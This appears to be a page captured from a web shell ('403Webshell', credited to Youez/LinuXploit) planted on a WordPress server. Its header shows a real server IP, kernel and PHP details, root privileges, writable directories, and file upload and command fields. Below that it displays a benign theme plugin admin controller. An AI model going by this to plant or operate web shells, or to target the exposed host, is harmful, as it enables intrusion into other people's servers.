403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.164
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/adsonicdigital/wp-content/plugins/et-core-plugin/app/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/adsonicdigital/wp-content/plugins/et-core-plugin/app/controllers/admin/admin.php
<?php
namespace ETC\App\Controllers\Admin;

use ETC\App\Controllers\Admin\Base_Controller;

/**
 * Admin controller.
 *
 * @since      1.4.4
 * @package    ETC
 * @subpackage ETC/Models/Admin
 */
class Admin extends Base_Controller{

	/**
	 * Construct the class.
	 *
	 * @since   1.4.4
     * @version 1.0.1
	 */
	public function hooks() {
		add_action( 'admin_head', array( $this, 'add_mce_button' ) );
        add_action( 'admin_init', array( $this, 'pages_import' ) );
        add_action( 'admin_init', array( $this, 'fonts_uploader' ) );
		add_action( 'admin_init', array( $this, 'sales_booster' ) );
	}

    /**
     * Require pages import.
     *
     * @since   2.0.1
     * @version 1.0.0
     */
    function pages_import() {
        require_once( ET_CORE_DIR . 'app/models/pages-import/import.php' );
    }

    /**
     * Require fonts uploader.
     *
     * @since   2.2.3
     * @version 1.0.0
     */
    function fonts_uploader() {
        require_once( ET_CORE_DIR . 'app/models/fonts-uploader/etheme_fonts_uploader.php' );
    }
	
	/**
	 * Require sales booster.
	 *
	 * @since   2.2.3
	 * @version 1.0.0
	 */
	function sales_booster() {
		require_once( ET_CORE_DIR . 'app/models/sales-booster/etheme_sales_booster.php' );
	}

    function add_mce_button() {

        if ( ! current_user_can( 'edit_posts' ) && ! current_user_can( 'edit_pages' ) || ! defined( 'ETHEME_CODE_JS' ) ) {
            return;
        }

        if ( 'true' == get_user_option( 'rich_editing' ) ) {
            add_filter( 'mce_external_plugins', array( $this, 'etheme_add_tinymce_plugin' ) );
            add_filter( 'mce_buttons', array( $this, 'etheme_register_mce_button' ) );
        }
    }

    // Declare script for new button
    function etheme_add_tinymce_plugin($plugin_array ) {
        $plugin_array['et_mce_button'] = ETHEME_CODE_JS . 'mce.js';
        return $plugin_array;
    }

    // Register new button in the editor
    function etheme_register_mce_button( $buttons ) {
    	array_push( $buttons, 'et_mce_button' );
    	return $buttons;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit